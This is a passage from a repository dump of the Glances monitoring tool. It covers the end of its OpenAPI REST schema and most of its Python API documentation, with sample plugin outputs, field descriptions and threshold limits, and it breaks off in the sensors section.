{\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/{key}\": {\"get\": {\"summary\": \" Api Key\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON representation of  plugin/item/key\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_key_api_4__plugin___item___key__get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}, {\"name\": \"key\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Key\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/api/4/{plugin}/{item}/{key}/views\": {\"get\": {\"summary\": \" Api Key Views\", \"description\": \"Glances API RESTful implementation.\\n\\nReturn the JSON view representation of plugin/item/key\\nHTTP/200 if OK\\nHTTP/400 if plugin is not found\\nHTTP/404 if others error\", \"operationId\": \"_api_key_views_api_4__plugin___item___key__views_get\", \"parameters\": [{\"name\": \"plugin\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Plugin\"}}, {\"name\": \"item\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Item\"}}, {\"name\": \"key\", \"in\": \"path\", \"required\": true, \"schema\": {\"type\": \"string\", \"title\": \"Key\"}}], \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"application/json\": {\"schema\": {}}}}, \"422\": {\"description\": \"Validation Error\", \"content\": {\"application/json\": {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}, \"/\": {\"get\": {\"summary\": \" Index\", \"description\": \"Return main index.html (/) file.\\n\\nParameters are available through the request object.\\nExample: http://localhost:61208/?refresh=5\\n\\nNote: This function is only called the first time the page is loaded.\", \"operationId\": \"_index__get\", \"responses\": {\"200\": {\"description\": \"Successful Response\", \"content\": {\"text/html\": {\"schema\": {\"type\": \"string\"}}}}}}}}, \"components\": {\"schemas\": {\"HTTPValidationError\": {\"properties\": {\"detail\": {\"items\": {\"$ref\": \"#/components/schemas/ValidationError\"}, \"type\": \"array\", \"title\": \"Detail\"}}, \"type\": \"object\", \"title\": \"HTTPValidationError\"}, \"ValidationError\": {\"properties\": {\"loc\": {\"items\": {\"anyOf\": [{\"type\": \"string\"}, {\"type\": \"integer\"}]}, \"type\": \"array\", \"title\": \"Location\"}, \"msg\": {\"type\": \"string\", \"title\": \"Message\"}, \"type\": {\"type\": \"string\", \"title\": \"Error Type\"}, \"input\": {\"title\": \"Input\"}, \"ctx\": {\"type\": \"object\", \"title\": \"Context\"}}, \"type\": \"object\", \"required\": [\"loc\", \"msg\", \"type\"], \"title\": \"ValidationError\"}}}}"
  },
  {
    "path": "docs/api/python.rst",
    "content": ".. _api:\n\nPython API documentation\n========================\n\nThis documentation describes the Glances Python API.\n\nNote: This API is only available in Glances 4.4.0 or higher.\n\n\nTL;DR\n-----\n\nYou can access the Glances API by importing the `glances.api` module and creating an\ninstance of the `GlancesAPI` class. This instance provides access to all Glances plugins\nand their fields. For example, to access the CPU plugin and its total field, you can\nuse the following code:\n\n.. code-block:: python\n\n    >>> from glances import api\n    >>> gl = api.GlancesAPI()\n    >>> gl.cpu\n    {'cpucore': 16,\n     'ctx_switches': 152402248,\n     'guest': 0.0,\n     'idle': 93.0,\n     'interrupts': 105395010,\n     'iowait': 0.5,\n     'irq': 0.0,\n     'nice': 0.0,\n     'soft_interrupts': 48002931,\n     'steal': 0.0,\n     'syscalls': 0,\n     'system': 4.7,\n     'total': 10.7,\n     'user': 1.8}\n    >>> gl.cpu.get(\"total\")\n    10.7\n    >>> gl.mem.get(\"used\")\n    9886636240\n    >>> gl.auto_unit(gl.mem.get(\"used\"))\n    9.21G\n\nIf the stats return a list of items (like network interfaces or processes), you can\naccess them by their name:\n\n.. code-block:: python\n\n    >>> gl.network.keys()\n    ['wlp0s20f3']\n    >>> gl.network[\"wlp0s20f3\"]\n    {'alias': None,\n     'bytes_all': 274,\n     'bytes_all_gauge': 1599124828,\n     'bytes_all_rate_per_sec': 734.0,\n     'bytes_recv': 274,\n     'bytes_recv_gauge': 1408272885,\n     'bytes_recv_rate_per_sec': 734.0,\n     'bytes_sent': 0,\n     'bytes_sent_gauge': 190851943,\n     'bytes_sent_rate_per_sec': 0.0,\n     'interface_name': 'wlp0s20f3',\n     'key': 'interface_name',\n     'speed': 0,\n     'time_since_update': 0.3727896213531494}\n\nInit Glances Python API\n-----------------------\n\nInit the Glances API:\n\n.. code-block:: python\n\n    >>> from glances import api\n    >>> gl = api.GlancesAPI()\n\nGet Glances plugins list\n------------------------\n\nGet the plugins list:\n\n.. code-block:: python\n\n    >>> gl.plugins()\n    ['alert', 'ports', 'diskio', 'containers', 'processcount', 'programlist', 'gpu', 'percpu', 'system', 'network', 'cpu', 'amps', 'processlist', 'load', 'sensors', 'uptime', 'now', 'fs', 'wifi', 'ip', 'help', 'version', 'psutilversion', 'core', 'mem', 'folders', 'quicklook', 'memswap']\n\nGlances alert\n-------------\n\nAlert stats:\n\n.. code-block:: python\n\n    >>> type(gl.alert)\n    <class 'glances.plugins.alert.AlertPlugin'>\n    >>> gl.alert\n    []\n\nAlert fields description:\n\n* begin: Begin timestamp of the event\n* end: End timestamp of the event (or -1 if ongoing)\n* state: State of the event (WARNING|CRITICAL)\n* type: Type of the event (CPU|LOAD|MEM)\n* max: Maximum value during the event period\n* avg: Average value during the event period\n* min: Minimum value during the event period\n* sum: Sum of the values during the event period\n* count: Number of values during the event period\n* top: Top 3 processes name during the event period\n* desc: Description of the event\n* sort: Sort key of the top processes\n* global_msg: Global alert message\n\nAlert limits:\n\n.. code-block:: python\n\n    >>> gl.alert.limits\n    {'alert_disable': ['False'], 'history_size': 1200.0}\n\nGlances ports\n-------------\n\nPorts stats:\n\n.. code-block:: python\n\n    >>> type(gl.ports)\n    <class 'glances.plugins.ports.PortsPlugin'>\n    >>> gl.ports\n    [{'description': 'DefaultGateway',\n      'host': '192.168.0.254',\n      'indice': 'port_0',\n      'port': 0,\n      'refresh': 30,\n      'rtt_warning': None,\n      'status': None,\n      'timeout': 3}]\n\nPorts fields description:\n\n* host: Measurement is be done on this host (or IP address)\n* port: Measurement is be done on this port (0 for ICMP)\n* description: Human readable description for the host/port\n* refresh: Refresh time (in seconds) for this host/port\n* timeout: Timeout (in seconds) for the measurement\n* status: Measurement result (in seconds)\n* rtt_warning: Warning threshold (in seconds) for the measurement\n* indice: Unique indice for the host/port\n\nPorts limits:\n\n.. code-block:: python\n\n    >>> gl.ports.limits\n    {'history_size': 1200.0,\n     'ports_disable': ['False'],\n     'ports_port_default_gateway': ['True'],\n     'ports_refresh': 30.0,\n     'ports_timeout': 3.0}\n\nGlances diskio\n--------------\n\nDiskio stats:\n\n.. code-block:: python\n\n    >>> type(gl.diskio)\n    <class 'glances.plugins.diskio.DiskioPlugin'>\n    >>> gl.diskio\n    Return a dict of dict with key=<disk_name>\n    >>> gl.diskio.keys()\n    ['nvme0n1', 'nvme0n1p1', 'nvme0n1p2', 'nvme0n1p3', 'dm-0', 'dm-1']\n    >>> gl.diskio.get(\"nvme0n1\")\n    {'disk_name': 'nvme0n1',\n     'key': 'disk_name',\n     'read_bytes': 6458501632,\n     'read_count': 213600,\n     'read_latency': 0,\n     'read_time': 43124,\n     'write_bytes': 637984904192,\n     'write_count': 5205964,\n     'write_latency': 0,\n     'write_time': 55663159}\n\nDiskio fields description:\n\n* disk_name: Disk name.\n* read_count: Number of reads.\n* write_count: Number of writes.\n* read_bytes: Number of bytes read.\n* write_bytes: Number of bytes written.\n* read_time: Time spent reading.\n* write_time: Time spent writing.\n* read_latency: Mean time spent reading per operation.\n* write_latency: Mean time spent writing per operation.\n\nDiskio limits:\n\n.. code-block:: python\n\n    >>> gl.diskio.limits\n    {'diskio_disable': ['False'],\n     'diskio_hide': ['loop.*', '/dev/loop.*'],\n     'diskio_hide_zero': ['False'],\n     'diskio_rx_latency_careful': 10.0,\n     'diskio_rx_latency_critical': 50.0,\n     'diskio_rx_latency_warning': 20.0,\n     'diskio_tx_latency_careful': 10.0,\n     'diskio_tx_latency_critical': 50.0,\n     'diskio_tx_latency_warning': 20.0,\n     'history_size': 1200.0}\n\nGlances containers\n------------------\n\nContainers stats:\n\n.. code-block:: python\n\n    >>> type(gl.containers)\n    <class 'glances.plugins.containers.ContainersPlugin'>\n    >>> gl.containers\n    []\n\nContainers fields description:\n\n* name: Container name\n* id: Container ID\n* image: Container image\n* status: Container status\n* created: Container creation date\n* command: Container command\n* cpu_percent: Container CPU consumption\n* memory_inactive_file: Container memory inactive file\n* memory_limit: Container memory limit\n* memory_usage: Container memory usage\n* io_rx: Container IO bytes read rate\n* io_wx: Container IO bytes write rate\n* network_rx: Container network RX bitrate\n* network_tx: Container network TX bitrate\n* ports: Container ports\n* uptime: Container uptime\n* engine: Container engine (Docker, Podman, and LXD are currently supported)\n* pod_name: Pod name (only with Podman)\n* pod_id: Pod ID (only with Podman)\n\nContainers limits:\n\n.. code-block:: python\n\n    >>> gl.containers.limits\n    {'containers_all': ['False'],\n     'containers_disable': ['False'],\n     'containers_disable_stats': ['command'],\n     'containers_max_name_size': 20.0,\n     'history_size': 1200.0}\n\nGlances processcount\n--------------------\n\nProcesscount stats:\n\n.. code-block:: python\n\n    >>> type(gl.processcount)\n    <class 'glances.plugins.processcount.ProcesscountPlugin'>\n    >>> gl.processcount\n    {'pid_max': 0, 'running': 1, 'sleeping': 426, 'thread': 2137, 'total': 580}\n    >>> gl.processcount.keys()\n    ['total', 'running', 'sleeping', 'thread', 'pid_max']\n    >>> gl.processcount.get(\"total\")\n    580\n\nProcesscount fields description:\n\n* total: Total number of processes\n* running: Total number of running processes\n* sleeping: Total number of sleeping processes\n* thread: Total number of threads\n* pid_max: Maximum number of processes\n\nProcesscount limits:\n\n.. code-block:: python\n\n    >>> gl.processcount.limits\n    {'history_size': 1200.0, 'processcount_disable': ['False']}\n\nGlances gpu\n-----------\n\nGpu stats:\n\n.. code-block:: python\n\n    >>> type(gl.gpu)\n    <class 'glances.plugins.gpu.GpuPlugin'>\n    >>> gl.gpu\n    Return a dict of dict with key=<gpu_id>\n    >>> gl.gpu.keys()\n    ['intel0', 'intel1']\n    >>> gl.gpu.get(\"intel0\")\n    {'fan_speed': None,\n     'gpu_id': 'intel0',\n     'key': 'gpu_id',\n     'mem': None,\n     'name': 'UHD Graphics',\n     'proc': 0,\n     'temperature': None}\n\nGpu fields description:\n\n* gpu_id: GPU identification\n* name: GPU name\n* mem: Memory consumption\n* proc: GPU processor consumption\n* temperature: GPU temperature\n* fan_speed: GPU fan speed\n\nGpu limits:\n\n.. code-block:: python\n\n    >>> gl.gpu.limits\n    {'gpu_disable': ['False'],\n     'gpu_mem_careful': 50.0,\n     'gpu_mem_critical': 90.0,\n     'gpu_mem_warning': 70.0,\n     'gpu_proc_careful': 50.0,\n     'gpu_proc_critical': 90.0,\n     'gpu_proc_warning': 70.0,\n     'gpu_temperature_careful': 60.0,\n     'gpu_temperature_critical': 80.0,\n     'gpu_temperature_warning': 70.0,\n     'history_size': 1200.0}\n\nGlances percpu\n--------------\n\nPercpu stats:\n\n.. code-block:: python\n\n    >>> type(gl.percpu)\n    <class 'glances.plugins.percpu.PercpuPlugin'>\n    >>> gl.percpu\n    Return a dict of dict with key=<cpu_number>\n    >>> gl.percpu.keys()\n    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n    >>> gl.percpu.get(\"0\")\n    {'cpu_number': 0,\n     'dpc': None,\n     'guest': 0.0,\n     'guest_nice': 0.0,\n     'idle': 42.0,\n     'interrupt': None,\n     'iowait': 0.0,\n     'irq': 0.0,\n     'key': 'cpu_number',\n     'nice': 0.0,\n     'softirq': 0.0,\n     'steal': 0.0,\n     'system': 7.0,\n     'total': 58.0,\n     'user': 0.0}\n\nPercpu fields description:\n\n* cpu_number: CPU number\n* total: Sum of CPU percentages (except idle) for current CPU number.\n* system: Percent time spent in kernel space. System CPU time is the time spent running code in the Operating System kernel.\n* user: CPU percent time spent in user space. User CPU time is the time spent on the processor running your program's code (or code in libraries).\n* iowait: *(Linux)*: percent time spent by the CPU waiting for I/O operations to complete.\n* idle: percent of CPU used by any program. Every program or task that runs on a computer system occupies a certain amount of processing time on the CPU. If the CPU has completed all tasks it is idle.\n* irq: *(Linux and BSD)*: percent time spent servicing/handling hardware/software interrupts. Time servicing interrupts (hardware + software).\n* nice: *(Unix)*: percent time occupied by user level processes with a positive nice value. The time the CPU has spent running users' processes that have been *niced*.\n* steal: *(Linux)*: percentage of time a virtual CPU waits for a real CPU while the hypervisor is servicing another virtual processor.\n* guest: *(Linux)*: percent of time spent running a virtual CPU for guest operating systems under the control of the Linux kernel.\n* guest_nice: *(Linux)*: percent of time spent running a niced guest (virtual CPU).\n* softirq: *(Linux)*: percent of time spent handling software interrupts.\n* dpc: *(Windows)*: percent of time spent handling deferred procedure calls.\n* interrupt: *(Windows)*: percent of time spent handling software interrupts.\n\nPercpu limits:\n\n.. code-block:: python\n\n    >>> gl.percpu.limits\n    {'history_size': 1200.0,\n     'percpu_disable': ['False'],\n     'percpu_iowait_careful': 50.0,\n     'percpu_iowait_critical': 90.0,\n     'percpu_iowait_warning': 70.0,\n     'percpu_max_cpu_display': 4.0,\n     'percpu_system_careful': 50.0,\n     'percpu_system_critical': 90.0,\n     'percpu_system_warning': 70.0,\n     'percpu_user_careful': 50.0,\n     'percpu_user_critical': 90.0,\n     'percpu_user_warning': 70.0}\n\nGlances system\n--------------\n\nSystem stats:\n\n.. code-block:: python\n\n    >>> type(gl.system)\n    <class 'glances.plugins.system.SystemPlugin'>\n    >>> gl.system\n    {'hostname': 'nicolargo-xps15',\n     'hr_name': 'Ubuntu 24.04 64bit / Linux 6.17.0-19-generic',\n     'linux_distro': 'Ubuntu 24.04',\n     'os_name': 'Linux',\n     'os_version': '6.17.0-19-generic',\n     'platform': '64bit'}\n    >>> gl.system.keys()\n    ['os_name', 'hostname', 'platform', 'os_version', 'linux_distro', 'hr_name']\n    >>> gl.system.get(\"os_name\")\n    'Linux'\n\nSystem fields description:\n\n* os_name: Operating system name\n* hostname: Hostname\n* platform: Platform (32 or 64 bits)\n* linux_distro: Linux distribution\n* os_version: Operating system version\n* hr_name: Human readable operating system name\n\nSystem limits:\n\n.. code-block:: python\n\n    >>> gl.system.limits\n    {'history_size': 1200.0, 'system_disable': ['False'], 'system_refresh': 60}\n\nGlances network\n---------------\n\nNetwork stats:\n\n.. code-block:: python\n\n    >>> type(gl.network)\n    <class 'glances.plugins.network.NetworkPlugin'>\n    >>> gl.network\n    Return a dict of dict with key=<interface_name>\n    >>> gl.network.keys()\n    ['wlp0s20f3']\n    >>> gl.network.get(\"wlp0s20f3\")\n    {'alias': None,\n     'bytes_all': 0,\n     'bytes_all_gauge': 1599124828,\n     'bytes_all_rate_per_sec': 0.0,\n     'bytes_recv': 0,\n     'bytes_recv_gauge': 1408272885,\n     'bytes_recv_rate_per_sec': 0.0,\n     'bytes_sent': 0,\n     'bytes_sent_gauge': 190851943,\n     'bytes_sent_rate_per_sec': 0.0,\n     'interface_name': 'wlp0s20f3',\n     'key': 'interface_name',\n     'speed': 0,\n     'time_since_update': 0.0025339126586914062}\n\nNetwork fields description:\n\n* interface_name: Interface name.\n* alias: Interface alias name (optional).\n* bytes_recv: Number of bytes received.\n* bytes_sent: Number of bytes sent.\n* bytes_all: Number of bytes received and sent.\n* speed: Maximum interface speed (in bit per second). Can return 0 on some operating-system.\n* is_up: Is the interface up ?\n\nNetwork limits:\n\n.. code-block:: python\n\n    >>> gl.network.limits\n    {'history_size': 1200.0,\n     'network_disable': ['False'],\n     'network_hide': ['docker.*', 'lo'],\n     'network_hide_no_ip': ['True'],\n     'network_hide_no_up': ['True'],\n     'network_hide_zero': ['False'],\n     'network_rx_careful': 70.0,\n     'network_rx_critical': 90.0,\n     'network_rx_warning': 80.0,\n     'network_tx_careful': 70.0,\n     'network_tx_critical': 90.0,\n     'network_tx_warning': 80.0}\n\nGlances cpu\n-----------\n\nCpu stats:\n\n.. code-block:: python\n\n    >>> type(gl.cpu)\n    <class 'glances.plugins.cpu.CpuPlugin'>\n    >>> gl.cpu\n    {'cpucore': 16,\n     'ctx_switches': 152402248,\n     'guest': 0.0,\n     'idle': 93.0,\n     'interrupts': 105395010,\n     'iowait': 0.5,\n     'irq': 0.0,\n     'nice': 0.0,\n     'soft_interrupts': 48002931,\n     'steal': 0.0,\n     'syscalls': 0,\n     'system': 4.7,\n     'total': 10.7,\n     'user': 1.8}\n    >>> gl.cpu.keys()\n    ['total', 'user', 'nice', 'system', 'idle', 'iowait', 'irq', 'steal', 'guest', 'ctx_switches', 'interrupts', 'soft_interrupts', 'syscalls', 'cpucore']\n    >>> gl.cpu.get(\"total\")\n    10.7\n\nCpu fields description:\n\n* total: Sum of all CPU percentages (except idle).\n* system: Percent time spent in kernel space. System CPU time is the time spent running code in the Operating System kernel.\n* user: CPU percent time spent in user space. User CPU time is the time spent on the processor running your program's code (or code in libraries).\n* iowait: *(Linux)*: percent time spent by the CPU waiting for I/O operations to complete.\n* dpc: *(Windows)*: time spent servicing deferred procedure calls (DPCs)\n* idle: percent of CPU used by any program. Every program or task that runs on a computer system occupies a certain amount of processing time on the CPU. If the CPU has completed all tasks it is idle.\n* irq: *(Linux and BSD)*: percent time spent servicing/handling hardware/software interrupts. Time servicing interrupts (hardware + software).\n* nice: *(Unix)*: percent time occupied by user level processes with a positive nice value. The time the CPU has spent running users' processes that have been *niced*.\n* steal: *(Linux)*: percentage of time a virtual CPU waits for a real CPU while the hypervisor is servicing another virtual processor.\n* guest: *(Linux)*: time spent running a virtual CPU for guest operating systems under the control of the Linux kernel.\n* ctx_switches: number of context switches (voluntary + involuntary) per second. A context switch is a procedure that a computer's CPU (central processing unit) follows to change from one task (or process) to another while ensuring that the tasks do not conflict.\n* interrupts: number of interrupts per second.\n* soft_interrupts: number of software interrupts per second. Always set to 0 on Windows and SunOS.\n* syscalls: number of system calls per second. Always 0 on Linux OS.\n* cpucore: Total number of CPU core.\n* time_since_update: Number of seconds since last update.\n* total_min: Minimum total observed since Glances startup.\n* total_max: Maximum total observed since Glances startup.\n* total_mean: Mean (average) total computed from the history.\n\nCpu limits:\n\n.. code-block:: python\n\n    >>> gl.cpu.limits\n    {'cpu_ctx_switches_careful': 640000.0,\n     'cpu_ctx_switches_critical': 800000.0,\n     'cpu_ctx_switches_warning': 720000.0,\n     'cpu_disable': ['False'],\n     'cpu_iowait_careful': 5.0,\n     'cpu_iowait_critical': 6.25,\n     'cpu_iowait_warning': 5.625,\n     'cpu_steal_careful': 50.0,\n     'cpu_steal_critical': 90.0,\n     'cpu_steal_warning': 70.0,\n     'cpu_system_careful': 50.0,\n     'cpu_system_critical': 90.0,\n     'cpu_system_log': ['False'],\n     'cpu_system_warning': 70.0,\n     'cpu_total_careful': 65.0,\n     'cpu_total_critical': 85.0,\n     'cpu_total_log': ['True'],\n     'cpu_total_warning': 75.0,\n     'cpu_user_careful': 50.0,\n     'cpu_user_critical': 90.0,\n     'cpu_user_log': ['False'],\n     'cpu_user_warning': 70.0,\n     'history_size': 1200.0}\n\nGlances amps\n------------\n\nAmps stats:\n\n.. code-block:: python\n\n    >>> type(gl.amps)\n    <class 'glances.plugins.amps.AmpsPlugin'>\n    >>> gl.amps\n    Return a dict of dict with key=<name>\n    >>> gl.amps.keys()\n    ['Dropbox', 'Python', 'Conntrack', 'Nginx', 'Systemd', 'SystemV']\n    >>> gl.amps.get(\"Dropbox\")\n    {'count': 0,\n     'countmax': None,\n     'countmin': 1.0,\n     'key': 'name',\n     'name': 'Dropbox',\n     'refresh': 3.0,\n     'regex': True,\n     'result': None,\n     'timer': 0.34692811965942383}\n\nAmps fields description:\n\n* name: AMP name.\n* result: AMP result (a string).\n* refresh: AMP refresh interval.\n* timer: Time until next refresh.\n* count: Number of matching processes.\n* countmin: Minimum number of matching processes.\n* countmax: Maximum number of matching processes.\n\nAmps limits:\n\n.. code-block:: python\n\n    >>> gl.amps.limits\n    {'amps_disable': ['False'], 'history_size': 1200.0}\n\nGlances processlist\n-------------------\n\nProcesslist stats:\n\n.. code-block:: python\n\n    >>> type(gl.processlist)\n    <class 'glances.plugins.processlist.ProcesslistPlugin'>\n    >>> gl.processlist\n    Return a dict of dict with key=<pid>\n    >>> gl.processlist.keys()\n    [546612, 7320, 128, 23100, 7579, 5876, 3671, 529390, 538472, 540671, 15, 24011, 23016, 540217, 7715, 7676, 7669, 5478, 7697, 7683, 24594, 3110, 22843, 7629, 371206, 24378, 15632, 7589, 8829, 6079, 371205, 541261, 8715, 23116, 23115, 371222, 23049, 9086, 371241, 23201, 371317, 22863, 498553, 24148, 23908, 22905, 22968, 22875, 544892, 543861, 545751, 24020, 541478, 8441, 722, 5686, 24021, 24010, 24078, 24018, 5893, 5602, 22846, 22845, 3121, 2786, 6077, 86624, 7559, 546609, 546126, 5757, 7555, 6229, 24081, 5961, 5817, 2774, 6653, 5616, 6111, 7839, 6201, 3115, 22899, 5652, 5180, 5655, 5594, 2875, 5643, 3667, 5679, 5179, 5443, 5649, 2810, 5175, 1, 5319, 6066, 2767, 3097, 3165, 5903, 2813, 2814, 3574, 5158, 5640, 2609, 5668, 2977, 3679, 5692, 6133, 5646, 2876, 5658, 5136, 5182, 3641, 3005, 3575, 5673, 11161, 6030, 482004, 3741, 481993, 5830, 781, 2795, 5833, 5648, 5699, 5670, 5426, 2791, 2980, 5247, 2770, 6002, 5926, 2763, 5477, 2610, 5575, 5918, 2796, 5439, 5864, 5812, 9098, 283747, 2608, 5904, 5664, 5193, 5642, 2793, 2762, 5935, 5667, 5251, 5406, 5014, 5015, 5302, 15310, 35497, 23937, 5603, 2895, 5176, 2782, 20991, 540770, 17158, 5407, 23458, 5491, 2761, 2606, 2766, 5162, 3889, 22860, 7413, 2624, 2792, 546605, 3692, 3707, 3680, 3305, 546656, 3686, 537756, 5258, 3690, 546608, 3103, 3108, 2622, 2864, 3306, 3617, 2, 3, 4, 5, 6, 7, 8, 10, 13, 14, 16, 17, 18, 19, 20, 21, 22, 23, 24, 26, 27, 28, 29, 30, 32, 33, 34, 35, 36, 38, 39, 40, 41, 42, 44, 45, 46, 47, 48, 50, 51, 52, 53, 54, 56, 57, 58, 59, 60, 62, 63, 64, 65, 66, 68, 69, 70, 71, 72, 74, 75, 76, 77, 78, 80, 81, 82, 83, 84, 86, 87, 88, 89, 90, 92, 93, 94, 95, 96, 98, 99, 100, 101, 102, 104, 105, 106, 107, 108, 110, 111, 112, 113, 114, 115, 116, 117, 118, 121, 122, 123, 124, 125, 126, 127, 133, 134, 135, 136, 137, 138, 140, 141, 142, 145, 146, 147, 148, 150, 151, 153, 155, 156, 157, 158, 159, 179, 180, 203, 225, 228, 259, 263, 264, 265, 266, 267, 268, 269, 270, 271, 355, 358, 361, 362, 363, 364, 434, 442, 443, 608, 609, 611, 613, 618, 621, 653, 654, 759, 760, 789, 972, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1109, 1123, 1133, 1331, 1332, 1419, 1421, 1422, 1423, 1424, 1472, 1481, 1516, 1521, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2043, 2044, 2045, 2046, 2047, 2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2107, 2108, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2127, 2128, 2129, 2130, 2131, 2132, 2134, 2136, 2137, 2139, 2140, 3612, 3715, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 4075, 4928, 5135, 10630, 183012, 485188, 502264, 504727, 504729, 506872, 510628, 510629, 515687, 515839, 518126, 520971, 521076, 521894, 526443, 526609, 526788, 527011, 527012, 529481, 529589, 530279, 533437, 534493, 535749, 535869, 536465, 536821, 537194, 537297, 537320, 537420, 537882, 539242, 539873, 539898, 540009, 540341, 540362, 540518, 540665, 540668, 540670, 540674, 540675, 540678, 540680, 541063, 541637, 541638, 542689, 543107, 543150, 543809, 544584, 545096, 545456, 545863, 545982, 545983, 546167, 546654]\n    >>> gl.processlist.get(\"546612\")\n    {'cmdline': ['/home/nicolargo/dev/glances/.venv/bin/python3',\n                 '-m',\n                 'glances',\n                 '-C',\n                 'conf/glances.conf',\n                 '--api-doc'],\n     'cpu_percent': 79.0,\n     'cpu_times': {'children_system': 0.02,\n                   'children_user': 0.0,\n                   'iowait': 0.0,\n                   'system': 0.64,\n                   'user': 0.66},\n     'gids': {'effective': 1000, 'real': 1000, 'saved': 1000},\n     'io_counters': [0, 4096, 0, 4096, 1],\n     'key': 'pid',\n     'memory_info': {'data': 113405952,\n                     'dirty': 0,\n                     'lib': 0,\n                     'rss': 92622848,\n                     'shared': 23392256,\n                     'text': 31211520,\n                     'vms': 506564608},\n     'memory_percent': 0.5640433524922993,\n     'name': 'python3',\n     'nice': 0,\n     'num_threads': 3,\n     'pid': 546612,\n     'status': 'R',\n     'time_since_update': 0.6963753700256348,\n     'username': 'nicolargo'}\n\nProcesslist fields description:\n\n* pid: Process identifier (ID)\n* name: Process name\n* cmdline: Command line with arguments\n* username: Process owner\n* num_threads: Number of threads\n* cpu_percent: Process CPU consumption (returned value can be > 100.0 in case of a process running multiple threads on different CPU cores)\n* memory_percent: Process memory consumption\n* memory_info: Process memory information (dict with rss, vms, shared, text, lib, data, dirty keys)\n* status: Process status\n* nice: Process nice value\n* cpu_times: Process CPU times (dict with user, system, iowait keys)\n* gids: Process group IDs (dict with real, effective, saved keys)\n* io_counters: Process IO counters (list with read_count, write_count, read_bytes, write_bytes, io_tag keys)\n* cpu_num: CPU core number where the process is currently executing (0-based indexing)\n\nProcesslist limits:\n\n.. code-block:: python\n\n    >>> gl.processlist.limits\n    {'history_size': 1200.0,\n     'processlist_cpu_careful': 50.0,\n     'processlist_cpu_critical': 90.0,\n     'processlist_cpu_warning': 70.0,\n     'processlist_disable': ['False'],\n     'processlist_disable_stats': ['cpu_num'],\n     'processlist_mem_careful': 50.0,\n     'processlist_mem_critical': 90.0,\n     'processlist_mem_warning': 70.0,\n     'processlist_nice_warning': ['-20',\n                                  '-19',\n                                  '-18',\n                                  '-17',\n                                  '-16',\n                                  '-15',\n                                  '-14',\n                                  '-13',\n                                  '-12',\n                                  '-11',\n                                  '-10',\n                                  '-9',\n                                  '-8',\n                                  '-7',\n                                  '-6',\n                                  '-5',\n                                  '-4',\n                                  '-3',\n                                  '-2',\n                                  '-1',\n                                  '1',\n                                  '2',\n                                  '3',\n                                  '4',\n                                  '5',\n                                  '6',\n                                  '7',\n                                  '8',\n                                  '9',\n                                  '10',\n                                  '11',\n                                  '12',\n                                  '13',\n                                  '14',\n                                  '15',\n                                  '16',\n                                  '17',\n                                  '18',\n                                  '19'],\n     'processlist_status_critical': ['Z', 'D'],\n     'processlist_status_ok': ['R', 'W', 'P', 'I']}\n\nGlances load\n------------\n\nLoad stats:\n\n.. code-block:: python\n\n    >>> type(gl.load)\n    <class 'glances.plugins.load.LoadPlugin'>\n    >>> gl.load\n    {'cpucore': 16,\n     'min1': 0.9072265625,\n     'min15': 0.4931640625,\n     'min5': 0.6591796875}\n    >>> gl.load.keys()\n    ['min1', 'min5', 'min15', 'cpucore']\n    >>> gl.load.get(\"min1\")\n    0.9072265625\n\nLoad fields description:\n\n* min1: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 1 minute.\n* min5: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 5 minutes.\n* min15: Average sum of the number of processes waiting in the run-queue plus the number currently executing over 15 minutes.\n* cpucore: Total number of CPU core.\n* min1_min: Minimum min1 observed since Glances startup.\n* min1_max: Maximum min1 observed since Glances startup.\n* min1_mean: Mean (average) min1 computed from the history.\n\nLoad limits:\n\n.. code-block:: python\n\n    >>> gl.load.limits\n    {'history_size': 1200.0,\n     'load_careful': 0.7,\n     'load_critical': 5.0,\n     'load_disable': ['False'],\n     'load_warning': 1.0}\n\nGlances sensors\n---------------\n\nSensors stats:\n\n.. code-block:: python\n\n    >>> type(gl.sensors)\n    <class 'glances.plugins.sensors.SensorsPlugin'>\n    >>> gl.sensors\n    Return a dict of dict with key=<label>\n    >>> gl.sensors.keys()\n    ['Ambient', 'Ambient 3', 'Ambient 5', 'Ambient 6', 'CPU', 'Composite', 'Core 0', 'Core 4', 'Core 8', 'Core 12', 'Core 16', 'Core 20', 'Core 28', 'Core 29', 'Core 30', 'Core 31', 'HDD', 'Package id 0', 'SODIMM', 'Sensor 1', 'Sensor 2', 'dell_smm 0', 'dell_smm 1', 'dell_smm 2', 'dell_smm 3', 'dell_smm 4', 'dell_smm 5', 'dell_smm 6', 'dell_smm 7', 'dell_smm 8', 